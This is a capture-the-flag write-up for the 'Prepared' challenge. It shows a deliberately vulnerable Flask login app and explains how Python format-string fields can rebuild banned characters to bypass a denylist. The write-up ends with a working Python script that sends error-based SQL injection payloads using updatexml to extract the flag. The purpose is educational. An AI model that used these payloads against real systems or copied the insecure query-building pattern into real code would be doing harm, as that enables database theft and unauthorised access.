Prepared
Who needs prepared statements and parameterized queries when you can use the amazing new QueryBuilder™ and its built-in DirtyString™ sanitizer?
We have a simple login page:
The code is pretty short:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
import re
from flask import Flask, render_template, request, redirect, url_for, flash
import mysql.connector
import os
import setuptools
app = Flask(__name__)
app.secret_key = os.urandom(24)
DB_HOST = os.getenv('MYSQL_HOST', 'localhost')
DB_USER = os.getenv('MYSQL_USER', 'root')
DB_PASSWORD = os.getenv('MYSQL_PASSWORD', 'rootpassword')
DB_NAME = os.getenv('MYSQL_DB', 'prepared_db')
class MaliciousCharacterError(Exception):
pass
class NonPrintableCharacterError(Exception):
pass
class DirtyString:
MALICIOUS_CHARS = ['"', "'", "\\", "/", "*", "+" "%", "-", ";", "#", "(", ")", " ", ","]
def __init__(self, value, key):
self.value = value
self.key = key
def __repr__(self):
return self.get_value()
def check_malicious(self):
if not all(32 <= ord(c) <= 126 for c in self.value):
raise NonPrintableCharacterError(f"Non-printable ASCII character found in '{self.key}'.")
for char in self.value:
if char in self.MALICIOUS_CHARS:
raise MaliciousCharacterError(f"Malicious character '{char}' found in '{self.key}'")
def get_value(self):
self.check_malicious()
return self.value
class QueryBuilder:
def __init__(self, query_template, dirty_strings):
self.query_template = query_template
self.dirty_strings = {ds.key: ds for ds in dirty_strings}
self.placeholders = self.get_all_placeholders(self.query_template)
def get_all_placeholders(self, query_template=None):
pattern = re.compile(r'\{(\w+)\}')
return pattern.findall(query_template)
def build_query(self):
query = self.query_template
self.placeholders = self.get_all_placeholders(query)
while self.placeholders:
key = self.placeholders[0]
format_map = dict.fromkeys(self.placeholders, lambda _, k: f"{{{k}}}")
for k in self.placeholders:
if k in self.dirty_strings:
if key == k:
format_map[k] = self.dirty_strings[k].get_value()
else:
format_map[k] = DirtyString
query = query.format_map(type('FormatDict', (), {
'__getitem__': lambda _, k: format_map[k] if isinstance(format_map[k], str) else format_map[k]("",k)
})())
self.placeholders = self.get_all_placeholders(query)
return query
def get_db_connection():
try:
cnx = mysql.connector.connect(
host=DB_HOST,
user=DB_USER,
password=DB_PASSWORD,
database=DB_NAME
)
return cnx
except mysql.connector.Error as err:
print(f"Error: {err}")
return None
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
data = request.form
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
flash("Username and password are required.", 'error')
return redirect(url_for('login'))
try:
du = DirtyString(username, 'username')
dp = DirtyString(password, 'password')
qb = QueryBuilder(
"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'",
[du, dp]
)
sanitized_query = qb.build_query()
print(f"Sanitized query: {sanitized_query}")
except (MaliciousCharacterError, NonPrintableCharacterError) as e:
flash(str(e), 'error')
return redirect(url_for('login'))
except Exception:
flash("Invalid credentials.", 'error')
return redirect(url_for('login'))
cnx = get_db_connection()
if not cnx:
flash("Database connection failed.", 'error')
return redirect(url_for('login'))
cursor = cnx.cursor(dictionary=True)
try:
cursor.execute(sanitized_query)
user = cursor.fetchone()
if user:
flash("Login successful!", 'success')
return render_template('under_construction.html')
else:
flash("Invalid credentials.", 'error')
except mysql.connector.Error as err:
flash(f"Database query failed: {err}", 'error')
finally:
cursor.close()
cnx.close()
return render_template('login.html')
@app.route('/under_construction')
def under_construction():
return render_template('under_construction.html')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000, debug=False)
Instead of using prepared queries from the MySQL driver, it uses a custom implementation that sanitizes the string and directly interpolates the parameters. We cannot use a lot of characters, but one thing stands out: the usage of format_map
. It is similar to format
, but you can specify a custom object.
At each iteration, it calls format_map
on the string for each placeholder. Placeholders are considered any valid character matched by \w
in regex, between curly brackets. This includes letters, numbers and underscores.
However, Python format strings are much more powerful than simple variable substitution. It is actually a mini-language:
That means that we can access fields of objects, but not call functions. Characters like .
are valid in the format spec, but will not be matched by the custom placeholder regex in the app. But each format replacement field will be evaluated by format_map
.
We can use this to inject special symbols in the SQL query, since {
and }
are not banned. But still, characters like '
are, and they are mandatory to escape the quoted literals in the query.
Since we cannot call functions inside the format replacement fields, we need to get creative. Let’s see what fields a string contains:
While most of these are functions, __doc__
is a string property. We can also use subscripts, so we can inject disallowed characters by slicing the __doc__
property of a string. We still need a valid reference to a variable in the format context (e.g. password
), so we can inject the format replacement field in the username and the password can be anything.
We have successfully bypassed the denylist. Now, onto the SQL injection.
We need to get the flag from the flags
table.
Let’s see what happens when the server tries to execute a malformed query:
We have an error-based SQL injection, which makes everything simpler.
We can use updatexml
, which is a function in MySQL that, in case of errors, returns the malformed input. Each forbidden character will be replaced with the technique explained above. Note that updatexml
only returns a slice of the string, so we need to split it into multiple requests and call substr
to advance the substring.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
url = "http://localhost:5000/"
#url = "https://prepared-1-f4c92e0ca79e0c02.chal.uoftctf.org/"
payloads = [
"' or updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),flag,CHAR(126)) FROM flags)),null) -- ",
"' or updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),substr(flag, 24),CHAR(126)) FROM flags)),null) -- "
]
to_replace = [" ", "'", "-", ",", "(", ")"]
for payload in payloads:
for char in to_replace:
index = "".__doc__.index(char)
payload = payload.replace(char, f"{{password.__doc__[{index}]}}")
print(payload)
response = requests.post(url, data={
"username": payload,
"password": "A"
})
print(response.content)
We find the flag among the SQL errors in the response.